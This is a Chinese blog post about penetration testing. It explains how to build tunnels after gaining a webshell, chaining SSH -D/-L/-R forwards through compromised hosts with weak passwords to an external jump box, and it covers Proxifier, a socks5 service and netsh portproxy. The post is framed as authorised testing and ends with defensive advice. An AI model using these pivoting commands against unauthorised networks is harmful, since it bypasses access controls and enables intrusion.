9、Tunnel:論如何在內網中自由滲透

FLy_鵬程萬里發表於2018-06-14

背景

能夠成功地通過web漏洞獲取到webshell,對於一次完整的滲透測試來說,僅僅相當於萬里長征的第一步。這麼說,可能比較誇張吧,並不是所有滲透測試都會遇到幾百臺機器的大內網。

在PTES(滲透測試執行標準)中,把滲透測試分成了七個主要的過程,也就是說現在通常說的前期互動、目標識別、資訊收集、漏洞分析、漏洞利用、後滲透測試、報告編制這七大步驟。如果你看過PTES標準,你應該會跟我有一樣的感覺,後滲透測試部分的內容,幾乎等於其他六個部分的總和。當然,也只是在系統規模達到一定程度的時候,才會明顯的感覺出來。

小生雖然離開了安全工程師的崗位,還是偶爾會遇到小年輕們拿到shell之後就不知道該幹嘛了。寫了個報告交給客戶,草草結束了一個專案(這也是目前滲透測試服務的一個弊病,大部分的滲透測試都以Getshell為主要指標,能getshell,基本上已經宣告滲透測試結束了)。內網中,如何開啟一個穩定、可靠的資料通道,對後續的測試工作起到非常重要的作用。這裡分享一些我在之前滲透測試中常用的方式。在造成最小影響的情況下,構建穩定的內網代理通道。

其實並沒有什麼新奇的工具。我相信有很多我沒都還沒見識過的工具,不少坊間流傳的遠控工具功能強大,也非常易於使用。對於我這種,至今還在使用初版菜刀的“學院派”來說,最基礎的工具,往往是最可靠的。

第一個工具:SSH(別急著噴,先看完)

SSH在滲透測試中往往扮演了非常重要的角色。一方面,幾乎所有的Linux/Unix伺服器和網路裝置都支援SSH協議。另一方面,SSH是最常用的遠端管理協議,網路層面的訪問控制協議,往往會為SSH網開一面。很多管理員為了便於管理,都會開放SSH遠端管理,總不能每次一出問題就直奔機房吧。SSH本身是安全的,但是安全的通道,同樣會在網路攻擊中被利用。

SSH最簡單的命令列格式如下:

ssh root@192.268.201.100

使用-p指定目標伺服器上的ssh埠

ssh root@192.268.201.100 -p 2222

或者用下面的形式:

ssh root@192.168.201.100:2222

使用-N建立靜默連線(建立了連線,但是你看不到會話,這個選項不是所有的ssh都支援,具體看情況)

ssh -N  root@192.168.201.100:2222

使用-f對ssh進行後臺執行,這個選項會把ssh轉入後臺,即使使用者登出,ssh會話也不會終端,除非超時。

ssh -f  root@192.168.201.100:2222

只要在本地設定一下代理埠就可以使用了。估計不少同學也是用過類似的方式去訪問某些“不可描述”的網站。

SSH的隧道,說得通俗一些,其實就是埠對映,或者叫埠轉發。

SSH一共支援三種對映方式:

動態對映(使用-D選項,前面說的就是這種方式)。原理圖如下:


ssh -D 8080 root@192.168.201.100

這個命令列會在本機上監聽8080埠,成為一個sock5代理,只要簡單設定一下代理,就可以以192.168.201.100作為代理伺服器傳送流量了。

本地對映(使用-L選項),將遠端伺服器的埠,隱射到本地。原理圖如下:


ssh -L 8080(本地埠):192.168.201.101(目標主機):3306(目標埠) root@192.168.201.100(跳板機)

以SSH Server 為跳板,將Target Host的埠,對映到本地伺服器上。這時候,你訪問本地的8080埠,實際訪問的,就是Target Host的3306了。

前提:SSH Server必須要能通過ssh夠登陸到Target Host上去。

場景:SSH Server和Target Host都在內網,但是外部機器只能訪問到SSH Server,而無法直接對Target Host做任何請求的時候。

遠端對映(使用-R選項),將一個遠端伺服器的埠,隱射到另一個遠端伺服器。


ssh -R 3307:192.168.202.244:3306 root@192.168.201.100

這個時候,執行這條命令的主機,就成為跳板機。

前提:執行這條命令的主機,必須同時能夠訪問SSH Server和Target Server。

場景:SSH Server在外部,跳板機在內網,Target Host和跳板機同網段但無法直接從網際網路訪問到,或者Target Host處在更深層的內網。

實際上,本地對映、遠端對映和動態隱射都可以靈活應用,跳板機、目標主機的角色是可以互相轉換的。

假設滲透測試中的一個場景如下:

假設,每一臺伺服器你都知道至少一個賬戶的密碼,這裡假設內網的伺服器上都有一個弱口令的oracle賬戶。

測試人員公網跳板機內網跳板機1號內網跳板機2號目標主機
192.168.100.1
公司內網
218.2.135.2
虛擬主機
具備獨立的公網IP
233.33.33.33
Getshell
不能從外部直接登陸
但可以訪問網際網路
192.168.100.100
內網主機
不能訪問網際網路
可以被跳板1號訪問
10.10.10.2
核心伺服器
可被跳板機2號訪問
能夠訪問核心區域

第一步:登陸公網跳板機

ssh root@218.2.135.2

第二步:把218.2.135.2的公鑰,新增到跳板機1號的信任列表中。

公鑰資訊,在你本地的~/.ssh/know_hosts裡面可以找到

形如:

218.2.135.2 ssh-rsa AAAAB3NzaC1y**************************************************************************************************************************************************************************************************************************7/WggmJ4OYMJp0OnKQ==

對應的,跳板機1號上你要新增到對應賬戶的~/.ssh/known_hosts檔案中。

因為ssh初次登陸一臺主機的時候,會詢問使用者,是否信任該主機。而且,如果同一個ip,其公鑰與此前登陸時記錄的公鑰不必配,是無法登陸的,所以需要進行這個操作。

第三部:對映跳板機2號的ssh埠,到公網跳板機上(在跳板機1號的webshell中執行)

ssh -f -N -R 2222:218.2.135.2:22 oracle@192.168.100.100

圖解:


第四部:登陸到跳板機2號上

ssh oracle@localhost:2222

因為上一步已經將跳板機2號的22埠對映到公網跳板機上去了,這時候可以直接登陸。

(注,公網跳板機也要做好防護,對映出去的埠,很有可能被掃描或者攻擊,這個時候實際上被掃描的就是內網的伺服器,我們不希望這種事情發生,這個時候就應當限制,2222埠只能被本地訪問)

第五部,在跳板機2號上繼續建立動態隱射

ssh -f -N -D 192.168.100.100:7777 oracle@10.10.10.2

圖解:


滲透測試中有很多變數,不能一竿子打死,只對映特定的一個埠(比如1521)。最後一跳,個人建議以動態對映的方式,這樣可以保證後續的其他測試工作也能順利進行。但如果甲方對滲透測試有特定的需求,請務必按照甲方要求的方式進行。(比如,甲方不希望你訪問除10.10.10.2之外的任意伺服器,那麼最後一跳就做一個本地隱射就可以了)

第六部:在跳板機1號上執行

ssh -f -N -R 7777:218.2.135.2:7777 oracle@192.168.100.100

最終,開啟了一個直通內網核心的SSH隧道。

只要配置代理,sock5://218.2.135.2:7777,就可以使用瀏覽器或者資料庫終端或者其他工具,來進行更深入的測試。

(我自己都覺得好煩的說…..)

你傳送的流量,在公網跳板機上,跳板機2號上,目標主機上都會進行解密和重新加密的工作,所以效率會低很多(有點類似於洋蔥路由了)。一般的手工測試或者檔案傳輸沒有太大問題,但是這個隧道一般無法支撐Namp或者WVS之類快速發包的工具。

如果你覺得這些操作太過於繁瑣,不妨試試SSH Tunnel(僅限Mac,非常值得花錢買的一個軟體)。windows的話,還是一行一行敲命令吧。

第二個工具,Proxifier

其實我並不是很喜歡這個工具,雖然功能強大。個人感覺配置Proxifier比配置防火牆還麻煩,所以用的很少。


在Proxies中新增你的代理伺服器,可以配置多個代理,支援Socks4/5,HTTPS和HTTP代理。

看到下面的ProxyChains了麼?這是它非常強大的一個功能。

其次是配置代理規則,


規則中可以詳細指定,什麼應用,訪問什麼站點的時候,使用哪一條代理鏈路。

在滲透測試的時候,這樣的多鏈路代理會有比較大的用處。

切記,隧道和多鏈路代理本身已經打破了資訊系統中固有的訪問控制策略,如果你不能保證你自己的環境是否安全,請不要給客戶增加額外的麻煩。

注:Proxifier跟VMware Workstation在功能上有衝突,如果安裝了Proxifier,VM的虛擬機器共享功能就無法使用。我之前遇到這個問題,蛋疼地把系統都重灌好幾次才意識到它倆有衝突。


第三個工具,SSH Proxy

算是SSH Tunnel的姊妹,同一個開發者,也是隻有Mac下才有的工具。一般兩者配合使用,基本上可以不用Proxifier了。它其實就做做了一個SSH的動態隱射而已。


配置好本地的對映埠,代理的伺服器和對應的身份驗證資訊就可以了。

SSH Proxy的白名單功能比較好用,如果只需要對特定的站點或IP地址進行代理,就把IP地址新增到白名單裡就可以了。但相比Proxifier,就沒有的ProxyChains功能和多鏈路代理功能。

忠告:不建議使用SSH隧道出牆,因為流量特徵明顯,非常容易被遮蔽。

第四個工具,windows專用的sock5代理工具。

這個工具很小,可以使用命令列方式安裝,可以在系統中註冊成一個服務,隨系統啟動。也可以使用下面的命令列來執行這個服務,監聽的埠是10086。

這個工具只有三個引數:

socks5.exe -i 安裝socks5代理服務

socks5.exe -d 刪除服務

socks5.exe -r 直接執行代理,不會註冊一個新的服務。

(為了避免測試結束之後就忘記了,建議還是用-r方式直接執行,使用完畢就kill掉這個程式)

詳細的使用介紹和原始碼,請戳這裡

第五個工具,netsh

我自己用得也不是很多,暫時還沒有好的案例可以分享,但是在內網中效果還是很不錯的。

命令列格式如下:

建立埠對映

netsh interface portproxy add  v4tov4 listenaddress=192.168.100.100 listenport=8443 connectaddress=10.10.10.2 connectport=8443

刪除埠對映

netsh interface  portproxy delete v4tov4 listenaddress=192.168.100.100 listenport=8443

檢視當前所有的埠對映規則:

netsh interface  portproxy show  v4tov4

同樣的,如果你能夠在多臺伺服器上建立埠轉發的鏈路,效果和ssh隧道幾乎是一樣的。

最後,滲透測試結束的時候,務必清除你建立的所有代理鏈路。畢竟,這些代理隧道已經打破了內網的訪問控制策略了。(使用-N 和 -f選項建立的SSH會話執行在後臺,只能kill掉對應的程式,但別kill錯了)

如果你用我的方式去修改了known_hosts檔案,也要把對應的公鑰資訊做清理。

小結:

隧道之所以能成功,前提是系統中訪問控制不足。如果系統中配置了SSH遠端管理的白名單,或者在ACL裡限制特定的IP才能連線SSH,又或者系統完全使用帶外管理,那就得兩說了。

對於甲方來說,SSH固然是最常用的一種遠端管理工具,SSH本身安全性也可以保障。但一定要意識到,安全工具,往往也會淪為攻擊的重要手段。

如果沒有足夠的資源來建立帶外管理的網路結構,內網中至少要限制SSH遠端登入的地址和雙向的訪問控制策略(從外部到內部,從內部到外部)

切記,再牛逼的安全防護策略,也敵不過內網裡遍地的弱口令。-_-|||

我身邊的很多人都用LCX,但是從業三年時間裡,我自己還沒有成功地使用過這個工具,這裡就不做介紹了。期待各位來做補充。

相關文章